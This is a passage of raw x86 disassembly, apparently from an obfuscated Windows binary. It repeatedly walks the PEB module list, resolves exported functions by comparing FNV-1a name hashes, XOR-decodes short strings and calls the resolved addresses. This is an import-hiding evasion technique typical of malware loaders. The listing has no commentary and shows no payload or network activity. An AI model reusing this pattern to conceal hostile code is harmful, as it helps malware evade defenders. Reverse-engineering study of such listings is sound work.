mov ecx, dword [esp + 0xddc]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xddc]
add eax, 1
mov dword [esp + 0xddc], eax
jmp 0x47be12
jmp 0x47be5f
mov eax, dword [esp + 0x804]
mov edx, dword [esp + 0x808]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x47be78
jmp 0x47be7a
lea ecx, [esp + 0xa94]
call fcn.0048e320
mov ecx, eax
mov eax, esp
mov dword [eax], ecx
lea ecx, [esp + 0xa60]
call fcn.004899f0
sub esp, 4
jmp 0x47be9d
mov eax, esp
lea ecx, [esp + 0xa4e]
mov dword [eax], ecx
lea ecx, [esp + 0xa4f]
call fcn.00485d20
sub esp, 4
jmp 0x47beb9
lea eax, [esp + 0xa5f]
mov dword [esp + 0xb2c], eax
lea eax, [esp + 0xa4f]
mov dword [esp + 0xb28], eax
lea eax, [esp + 0x102c]
mov dword [esp + 0x1034], eax
mov eax, dword [esp + 0x1034]
mov dword [esp + 0x1090], 0x30
mov ecx, dword [esp + 0x1090]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x108c], ecx
mov ecx, dword [esp + 0x108c]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x102c]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x1020]
mov dword [esp + 0x1044], ecx
mov dword [esp + 0x1040], eax
mov eax, dword [esp + 0x1044]
mov ecx, dword [esp + 0x1040]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1040]
mov dword [esp + 0x1094], ecx
mov ecx, dword [esp + 0x1094]
mov edx, dword [esp + 0x1094]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1038], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x103c], ecx
mov ecx, dword [esp + 0x1040]
add ecx, dword [esp + 0x1038]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x103c]
mov dword [eax + 8], ecx
lea eax, [esp + 0x1020]
mov dword [esp + 0x1048], eax
mov ecx, dword [esp + 0x1048]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x47c148
lea eax, [esp + 0x1020]
mov dword [esp + 0x104c], eax
mov eax, dword [esp + 0x104c]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x101c], eax
mov eax, dword [esp + 0x101c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x101c], ecx
cmp eax, 0
je 0x47c146
mov eax, dword [esp + 0x101c]
lea ecx, [esp + 0x1020]
mov dword [esp + 0x1064], ecx
mov dword [esp + 0x1060], eax
mov eax, dword [esp + 0x1064]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1060]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x106c], 0xe3fd0512
mov dword [esp + 0x1068], 0x83c1fd96
mov eax, dword [esp + 0x106c]
mov dword [esp + 0x105c], ecx
mov dword [esp + 0x1058], eax
mov eax, dword [esp + 0x1058]
mov dword [esp + 0x1054], eax
mov eax, dword [esp + 0x105c]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x105c], ecx
mov al, byte [eax]
mov byte [esp + 0x1053], al
cmp byte [esp + 0x1053], 0
je 0x47c119
mov ecx, dword [esp + 0x1054]
mov al, byte [esp + 0x1053]
mov dword [esp + 0x109c], ecx
mov byte [esp + 0x109b], al
mov eax, dword [esp + 0x109c]
mov dword [esp + 0x7fc], eax
movsx eax, byte [esp + 0x109b]
cmp eax, 0x41
jl 0x47c0e8
movsx eax, byte [esp + 0x109b]
cmp eax, 0x5a
jg 0x47c0e8
movsx eax, byte [esp + 0x109b]
or eax, 0x20
mov dword [esp + 0x7f8], eax
jmp 0x47c0f7
movsx eax, byte [esp + 0x109b]
mov dword [esp + 0x7f8], eax
mov eax, dword [esp + 0x7fc]
mov ecx, dword [esp + 0x7f8]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x1054], eax
jmp 0x47c066
mov eax, dword [esp + 0x1054]
mov dword [esp + 0x1074], 0xe3fd0512
mov dword [esp + 0x1070], 0x83c1fd96
mov ecx, dword [esp + 0x1070]
cmp eax, ecx
je 0x47c176
jmp 0x47bfd6
jmp 0x47c148
lea eax, [esp + 0x102c]
mov dword [esp + 0x1088], eax
mov eax, dword [esp + 0x1088]
mov ecx, dword [eax]
mov dword [esp + 0x10a0], ecx
mov ecx, dword [esp + 0x10a0]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x47bf15
mov eax, dword [esp + 0x101c]
lea ecx, [esp + 0x1020]
mov dword [esp + 0x1084], ecx
mov dword [esp + 0x1080], eax
mov eax, dword [esp + 0x1084]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x107c], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1078], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x107c]
mov edx, dword [esp + 0x1078]
mov esi, dword [esp + 0x1080]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x1030], eax
mov eax, dword [esp + 0x1030]
mov dword [esp + 0x7f0], eax
mov eax, dword [esp + 0xb28]
mov dword [esp + 0xc24], eax
mov eax, dword [esp + 0xc24]
mov dword [esp + 0xc40], eax
mov eax, dword [esp + 0xc40]
mov dword [esp + 0x7f4], eax
mov dword [esp + 0xcdc], eax
mov eax, dword [esp + 0xcdc]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x47c2a6
mov eax, dword [esp + 0x7f4]
mov dword [esp + 0xdd8], eax
mov dword [esp + 0xdd4], eax
mov eax, dword [esp + 0xdd8]
mov dword [esp + 0x7ec], eax
mov dword [esp + 0xdd0], 0
cmp dword [esp + 0xdd0], 0x10
jge 0x47c2a4
mov eax, dword [esp + 0x7ec]
mov ecx, dword [esp + 0xdd4]
mov edx, dword [esp + 0xdd0]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
mov ecx, dword [esp + 0xdd0]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xdd0]
add eax, 1
mov dword [esp + 0xdd0], eax
jmp 0x47c259
jmp 0x47c2a6
mov eax, dword [esp + 0x7f0]
mov edx, dword [esp + 0x7f4]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x47c2bf
jmp 0x47c2c1
lea ecx, [esp + 0xa60]
mov dword [esp + 0x7e8], ecx
call fcn.0048a020
mov ecx, dword [esp + 0x7e8]
mov dword [esp + 0xa48], eax
call fcn.0048a060
mov dword [esp + 0xa44], eax
mov ecx, dword [esp + 0xa44]
mov eax, esp
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xa48]
mov dword [eax], ecx
call fcn.00489fe0
jmp 0x47c30a
mov eax, esp
lea ecx, [esp + 0xa32]
mov dword [eax], ecx
lea ecx, [esp + 0xa33]
call fcn.00485d80
sub esp, 4
jmp 0x47c326
lea eax, [esp + 0xa43]
mov dword [esp + 0xb34], eax
lea eax, [esp + 0xa33]
mov dword [esp + 0xb30], eax
lea eax, [esp + 0x10b4]
mov dword [esp + 0x10bc], eax
mov eax, dword [esp + 0x10bc]
mov dword [esp + 0x1118], 0x30
mov ecx, dword [esp + 0x1118]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x1114], ecx
mov ecx, dword [esp + 0x1114]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x10b4]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x10a8]
mov dword [esp + 0x10cc], ecx
mov dword [esp + 0x10c8], eax
mov eax, dword [esp + 0x10cc]
mov ecx, dword [esp + 0x10c8]
mov dword [eax], ecx
mov ecx, dword [esp + 0x10c8]
mov dword [esp + 0x111c], ecx
mov ecx, dword [esp + 0x111c]
mov edx, dword [esp + 0x111c]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x10c0], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x10c4], ecx
mov ecx, dword [esp + 0x10c8]
add ecx, dword [esp + 0x10c0]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10c4]
mov dword [eax + 8], ecx
lea eax, [esp + 0x10a8]
mov dword [esp + 0x10d0], eax
mov ecx, dword [esp + 0x10d0]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x47c5b5
lea eax, [esp + 0x10a8]
mov dword [esp + 0x10d4], eax
mov eax, dword [esp + 0x10d4]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x10a4], eax
mov eax, dword [esp + 0x10a4]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x10a4], ecx
cmp eax, 0
je 0x47c5b3
mov eax, dword [esp + 0x10a4]
lea ecx, [esp + 0x10a8]
mov dword [esp + 0x10ec], ecx
mov dword [esp + 0x10e8], eax
mov eax, dword [esp + 0x10ec]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x10e8]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x10f4], 0xd0817fca
mov dword [esp + 0x10f0], 0xcbdc23de
mov eax, dword [esp + 0x10f4]
mov dword [esp + 0x10e4], ecx
mov dword [esp + 0x10e0], eax
mov eax, dword [esp + 0x10e0]
mov dword [esp + 0x10dc], eax
mov eax, dword [esp + 0x10e4]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x10e4], ecx
mov al, byte [eax]
mov byte [esp + 0x10db], al
cmp byte [esp + 0x10db], 0
je 0x47c586
mov ecx, dword [esp + 0x10dc]
mov al, byte [esp + 0x10db]
mov dword [esp + 0x1124], ecx
mov byte [esp + 0x1123], al
mov eax, dword [esp + 0x1124]
mov dword [esp + 0x7e4], eax
movsx eax, byte [esp + 0x1123]
cmp eax, 0x41
jl 0x47c555
movsx eax, byte [esp + 0x1123]
cmp eax, 0x5a
jg 0x47c555
movsx eax, byte [esp + 0x1123]
or eax, 0x20
mov dword [esp + 0x7e0], eax
jmp 0x47c564
movsx eax, byte [esp + 0x1123]
mov dword [esp + 0x7e0], eax
mov eax, dword [esp + 0x7e4]
mov ecx, dword [esp + 0x7e0]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x10dc], eax
jmp 0x47c4d3
mov eax, dword [esp + 0x10dc]
mov dword [esp + 0x10fc], 0xd0817fca
mov dword [esp + 0x10f8], 0xcbdc23de
mov ecx, dword [esp + 0x10f8]
cmp eax, ecx
je 0x47c5e3
jmp 0x47c443
jmp 0x47c5b5
lea eax, [esp + 0x10b4]
mov dword [esp + 0x1110], eax
mov eax, dword [esp + 0x1110]
mov ecx, dword [eax]
mov dword [esp + 0x1128], ecx
mov ecx, dword [esp + 0x1128]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x47c382
mov eax, dword [esp + 0x10a4]
lea ecx, [esp + 0x10a8]
mov dword [esp + 0x110c], ecx
mov dword [esp + 0x1108], eax
mov eax, dword [esp + 0x110c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x1104], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1100], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x1104]
mov edx, dword [esp + 0x1100]
mov esi, dword [esp + 0x1108]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x10b8], eax
mov eax, dword [esp + 0x10b8]
mov dword [esp + 0x7d8], eax
mov eax, dword [esp + 0xb30]
mov dword [esp + 0xc20], eax
mov eax, dword [esp + 0xc20]
mov dword [esp + 0xc44], eax
mov eax, dword [esp + 0xc44]
mov dword [esp + 0x7dc], eax
mov dword [esp + 0xcd8], eax
mov eax, dword [esp + 0xcd8]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x47c713
mov eax, dword [esp + 0x7dc]
mov dword [esp + 0xdcc], eax
mov dword [esp + 0xdc8], eax
mov eax, dword [esp + 0xdcc]
mov dword [esp + 0x7d4], eax
mov dword [esp + 0xdc4], 0
cmp dword [esp + 0xdc4], 0x10
jge 0x47c711
mov eax, dword [esp + 0x7d4]
mov ecx, dword [esp + 0xdc8]
mov edx, dword [esp + 0xdc4]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
mov ecx, dword [esp + 0xdc4]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xdc4]
add eax, 1
mov dword [esp + 0xdc4], eax
jmp 0x47c6c6
jmp 0x47c713
mov eax, dword [esp + 0x7d8]
mov edx, dword [esp + 0x7dc]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x47c72c
jmp 0x47c72e
mov eax, esp
lea ecx, [esp + 0xa60]
mov dword [eax + 4], ecx
lea ecx, [esp + 0xa24]
mov dword [eax], ecx
call fcn.0048c2c0
jmp 0x47c74a
mov eax, esp
lea ecx, [esp + 0xa24]
mov dword [esp + 0x7cc], ecx
mov dword [eax], ecx
lea ecx, [esp + 0xa60]
mov dword [esp + 0x7d0], ecx
call fcn.0048e340
sub esp, 4
mov ecx, dword [esp + 0x7cc]
call fcn.004b1360
mov ecx, dword [esp + 0x7d0]
call fcn.0048e370
mov dword [esp + 0xa20], eax
mov eax, esp
lea ecx, [esp + 0xa0e]
mov dword [eax], ecx
lea ecx, [esp + 0xa0f]
call fcn.00485de0
sub esp, 4
jmp 0x47c7ad
lea eax, [esp + 0xa1f]
mov dword [esp + 0xb3c], eax
lea eax, [esp + 0xa0f]
mov dword [esp + 0xb38], eax
lea eax, [esp + 0x113c]
mov dword [esp + 0x1144], eax
mov eax, dword [esp + 0x1144]
mov dword [esp + 0x11a0], 0x30
mov ecx, dword [esp + 0x11a0]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x119c], ecx
mov ecx, dword [esp + 0x119c]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x113c]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x1130]
mov dword [esp + 0x1154], ecx
mov dword [esp + 0x1150], eax
mov eax, dword [esp + 0x1154]
mov ecx, dword [esp + 0x1150]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1150]
mov dword [esp + 0x11a4], ecx
mov ecx, dword [esp + 0x11a4]
mov edx, dword [esp + 0x11a4]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1148], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x114c], ecx
mov ecx, dword [esp + 0x1150]
add ecx, dword [esp + 0x1148]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x114c]
mov dword [eax + 8], ecx
lea eax, [esp + 0x1130]
mov dword [esp + 0x1158], eax
mov ecx, dword [esp + 0x1158]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x47ca3c
lea eax, [esp + 0x1130]
mov dword [esp + 0x115c], eax
mov eax, dword [esp + 0x115c]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x112c], eax
mov eax, dword [esp + 0x112c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x112c], ecx
cmp eax, 0
je 0x47ca3a
mov eax, dword [esp + 0x112c]
lea ecx, [esp + 0x1130]
mov dword [esp + 0x1174], ecx
mov dword [esp + 0x1170], eax
mov eax, dword [esp + 0x1174]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1170]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x117c], 0x98325529
mov dword [esp + 0x1178], 0xec0e9b09
mov eax, dword [esp + 0x117c]
mov dword [esp + 0x116c], ecx
mov dword [esp + 0x1168], eax
mov eax, dword [esp + 0x1168]
mov dword [esp + 0x1164], eax
mov eax, dword [esp + 0x116c]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x116c], ecx
mov al, byte [eax]
mov byte [esp + 0x1163], al
cmp byte [esp + 0x1163], 0
je 0x47ca0d
mov ecx, dword [esp + 0x1164]
mov al, byte [esp + 0x1163]
mov dword [esp + 0x11ac], ecx
mov byte [esp + 0x11ab], al
mov eax, dword [esp + 0x11ac]
mov dword [esp + 0x7c8], eax
movsx eax, byte [esp + 0x11ab]
cmp eax, 0x41
jl 0x47c9dc
movsx eax, byte [esp + 0x11ab]
cmp eax, 0x5a
jg 0x47c9dc
movsx eax, byte [esp + 0x11ab]
or eax, 0x20
mov dword [esp + 0x7c4], eax
jmp 0x47c9eb
movsx eax, byte [esp + 0x11ab]
mov dword [esp + 0x7c4], eax
mov eax, dword [esp + 0x7c8]
mov ecx, dword [esp + 0x7c4]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x1164], eax
jmp 0x47c95a
mov eax, dword [esp + 0x1164]
mov dword [esp + 0x1184], 0x98325529
mov dword [esp + 0x1180], 0xec0e9b09
mov ecx, dword [esp + 0x1180]
cmp eax, ecx
je 0x47ca6a
jmp 0x47c8ca
jmp 0x47ca3c
lea eax, [esp + 0x113c]
mov dword [esp + 0x1198], eax
mov eax, dword [esp + 0x1198]
mov ecx, dword [eax]
mov dword [esp + 0x11b0], ecx
mov ecx, dword [esp + 0x11b0]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x47c809
mov eax, dword [esp + 0x112c]
lea ecx, [esp + 0x1130]
mov dword [esp + 0x1194], ecx
mov dword [esp + 0x1190], eax
mov eax, dword [esp + 0x1194]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x118c], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1188], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x118c]
mov edx, dword [esp + 0x1188]
mov esi, dword [esp + 0x1190]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x1140], eax
mov eax, dword [esp + 0x1140]
mov dword [esp + 0x7bc], eax
mov eax, dword [esp + 0xb38]
mov dword [esp + 0xc1c], eax
mov eax, dword [esp + 0xc1c]
mov dword [esp + 0xc48], eax
mov eax, dword [esp + 0xc48]
mov dword [esp + 0x7c0], eax
mov dword [esp + 0xcd4], eax
mov eax, dword [esp + 0xcd4]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x47cb9a
mov eax, dword [esp + 0x7c0]
mov dword [esp + 0xdc0], eax
mov dword [esp + 0xdbc], eax
mov eax, dword [esp + 0xdc0]
mov dword [esp + 0x7b8], eax
mov dword [esp + 0xdb8], 0
cmp dword [esp + 0xdb8], 0x10
jge 0x47cb98
mov eax, dword [esp + 0x7b8]
mov ecx, dword [esp + 0xdbc]
mov edx, dword [esp + 0xdb8]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
mov ecx, dword [esp + 0xdb8]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xdb8]
add eax, 1
mov dword [esp + 0xdb8], eax
jmp 0x47cb4d
jmp 0x47cb9a
mov eax, dword [esp + 0x7bc]
mov edx, dword [esp + 0x7c0]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x47cbb3
jmp 0x47cbb5
lea ecx, [esp + 0xa60]
call fcn.0048e390
mov dword [esp + 0xa08], eax
mov eax, esp
lea ecx, [esp + 0x9f6]
mov dword [eax], ecx
lea ecx, [esp + 0x9f7]
call fcn.00485e40
sub esp, 4
jmp 0x47cbe4
lea eax, [esp + 0xa07]
mov dword [esp + 0xb44], eax
lea eax, [esp + 0x9f7]
mov dword [esp + 0xb40], eax
lea eax, [esp + 0x11c4]
mov dword [esp + 0x11cc], eax
mov eax, dword [esp + 0x11cc]
mov dword [esp + 0x1228], 0x30
mov ecx, dword [esp + 0x1228]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x1224], ecx
mov ecx, dword [esp + 0x1224]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x11c4]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x11b8]
mov dword [esp + 0x11dc], ecx
mov dword [esp + 0x11d8], eax
mov eax, dword [esp + 0x11dc]
mov ecx, dword [esp + 0x11d8]
mov dword [eax], ecx
mov ecx, dword [esp + 0x11d8]
mov dword [esp + 0x122c], ecx
mov ecx, dword [esp + 0x122c]
mov edx, dword [esp + 0x122c]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x11d0], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x11d4], ecx
mov ecx, dword [esp + 0x11d8]
add ecx, dword [esp + 0x11d0]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x11d4]
mov dword [eax + 8], ecx
lea eax, [esp + 0x11b8]
mov dword [esp + 0x11e0], eax
mov ecx, dword [esp + 0x11e0]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x47ce73
lea eax, [esp + 0x11b8]
mov dword [esp + 0x11e4], eax
mov eax, dword [esp + 0x11e4]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x11b4], eax
mov eax, dword [esp + 0x11b4]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x11b4], ecx
cmp eax, 0
je 0x47ce71
mov eax, dword [esp + 0x11b4]
lea ecx, [esp + 0x11b8]
mov dword [esp + 0x11fc], ecx
mov dword [esp + 0x11f8], eax
mov eax, dword [esp + 0x11fc]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x11f8]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x1204], 0x11fd68d7
mov dword [esp + 0x1200], 0xfb136b53
mov eax, dword [esp + 0x1204]
mov dword [esp + 0x11f4], ecx
mov dword [esp + 0x11f0], eax
mov eax, dword [esp + 0x11f0]
mov dword [esp + 0x11ec], eax
mov eax, dword [esp + 0x11f4]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x11f4], ecx
mov al, byte [eax]
mov byte [esp + 0x11eb], al
cmp byte [esp + 0x11eb], 0
je 0x47ce44
mov ecx, dword [esp + 0x11ec]
mov al, byte [esp + 0x11eb]
mov dword [esp + 0x1234], ecx
mov byte [esp + 0x1233], al
mov eax, dword [esp + 0x1234]
mov dword [esp + 0x7b4], eax
movsx eax, byte [esp + 0x1233]
cmp eax, 0x41
jl 0x47ce13
movsx eax, byte [esp + 0x1233]
cmp eax, 0x5a
jg 0x47ce13
movsx eax, byte [esp + 0x1233]
or eax, 0x20
mov dword [esp + 0x7b0], eax
jmp 0x47ce22
movsx eax, byte [esp + 0x1233]
mov dword [esp + 0x7b0], eax
mov eax, dword [esp + 0x7b4]
mov ecx, dword [esp + 0x7b0]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x11ec], eax
jmp 0x47cd91
mov eax, dword [esp + 0x11ec]
mov dword [esp + 0x120c], 0x11fd68d7
mov dword [esp + 0x1208], 0xfb136b53
mov ecx, dword [esp + 0x1208]
cmp eax, ecx
je 0x47cea1
jmp 0x47cd01
jmp 0x47ce73
lea eax, [esp + 0x11c4]
mov dword [esp + 0x1220], eax
mov eax, dword [esp + 0x1220]
mov ecx, dword [eax]
mov dword [esp + 0x1238], ecx
mov ecx, dword [esp + 0x1238]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x47cc40
mov eax, dword [esp + 0x11b4]
lea ecx, [esp + 0x11b8]
mov dword [esp + 0x121c], ecx
mov dword [esp + 0x1218], eax
mov eax, dword [esp + 0x121c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x1214], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1210], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x1214]
mov edx, dword [esp + 0x1210]
mov esi, dword [esp + 0x1218]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x11c8], eax
mov eax, dword [esp + 0x11c8]
mov dword [esp + 0x7a8], eax
mov eax, dword [esp + 0xb40]
mov dword [esp + 0xc18], eax
mov eax, dword [esp + 0xc18]
mov dword [esp + 0xc4c], eax
mov eax, dword [esp + 0xc4c]
mov dword [esp + 0x7ac], eax
mov dword [esp + 0xcd0], eax
mov eax, dword [esp + 0xcd0]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x47cfd1
mov eax, dword [esp + 0x7ac]
mov dword [esp + 0xdb4], eax
mov dword [esp + 0xdb0], eax
mov eax, dword [esp + 0xdb4]
mov dword [esp + 0x7a4], eax
mov dword [esp + 0xdac], 0
cmp dword [esp + 0xdac], 0x10
jge 0x47cfcf
mov eax, dword [esp + 0x7a4]
mov ecx, dword [esp + 0xdb0]
mov edx, dword [esp + 0xdac]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
mov ecx, dword [esp + 0xdac]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xdac]
add eax, 1
mov dword [esp + 0xdac], eax
jmp 0x47cf84
jmp 0x47cfd1
mov eax, dword [esp + 0x7a8]
mov edx, dword [esp + 0x7ac]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x47cfea
jmp 0x47cfec
mov ecx, dword [esp + 0x9f0]
mov edx, dword [esp + 0x9ec]
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 5
mov ecx, 0x485ea0
mov edx, 0x4864f0
call fcn.0048e3b0
sub esp, 0xc
jmp 0x47d01c
mov eax, esp
lea ecx, [esp + 0x9d8]
mov dword [eax], ecx
lea ecx, [esp + 0x9d9]
call fcn.00486b50
sub esp, 4
jmp 0x47d038
lea eax, [esp + 0x9e9]
mov dword [esp + 0xb4c], eax
lea eax, [esp + 0x9d9]
mov dword [esp + 0xb48], eax
lea eax, [esp + 0x124c]
mov dword [esp + 0x1254], eax
mov eax, dword [esp + 0x1254]
mov dword [esp + 0x12b0], 0x30
mov ecx, dword [esp + 0x12b0]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x12ac], ecx
mov ecx, dword [esp + 0x12ac]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x124c]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x1240]
mov dword [esp + 0x1264], ecx
mov dword [esp + 0x1260], eax
mov eax, dword [esp + 0x1264]
mov ecx, dword [esp + 0x1260]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1260]
mov dword [esp + 0x12b4], ecx
mov ecx, dword [esp + 0x12b4]
mov edx, dword [esp + 0x12b4]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1258], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x125c], ecx
mov ecx, dword [esp + 0x1260]
add ecx, dword [esp + 0x1258]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x125c]
mov dword [eax + 8], ecx
lea eax, [esp + 0x1240]
mov dword [esp + 0x1268], eax
mov ecx, dword [esp + 0x1268]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x47d2c7
lea eax, [esp + 0x1240]
mov dword [esp + 0x126c], eax
mov eax, dword [esp + 0x126c]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x123c], eax
mov eax, dword [esp + 0x123c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x123c], ecx
cmp eax, 0
je 0x47d2c5
mov eax, dword [esp + 0x123c]
lea ecx, [esp + 0x1240]
mov dword [esp + 0x1284], ecx
mov dword [esp + 0x1280], eax
mov eax, dword [esp + 0x1284]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1280]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x128c], 0x43953e4b
mov dword [esp + 0x1288], 0x8868a3f7
mov eax, dword [esp + 0x128c]
mov dword [esp + 0x127c], ecx
mov dword [esp + 0x1278], eax
mov eax, dword [esp + 0x1278]
mov dword [esp + 0x1274], eax
mov eax, dword [esp + 0x127c]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x127c], ecx
mov al, byte [eax]
mov byte [esp + 0x1273], al
cmp byte [esp + 0x1273], 0
je 0x47d298
mov ecx, dword [esp + 0x1274]
mov al, byte [esp + 0x1273]
mov dword [esp + 0x12bc], ecx
mov byte [esp + 0x12bb], al
mov eax, dword [esp + 0x12bc]
mov dword [esp + 0x7a0], eax
movsx eax, byte [esp + 0x12bb]
cmp eax, 0x41
jl 0x47d267
movsx eax, byte [esp + 0x12bb]
cmp eax, 0x5a
jg 0x47d267
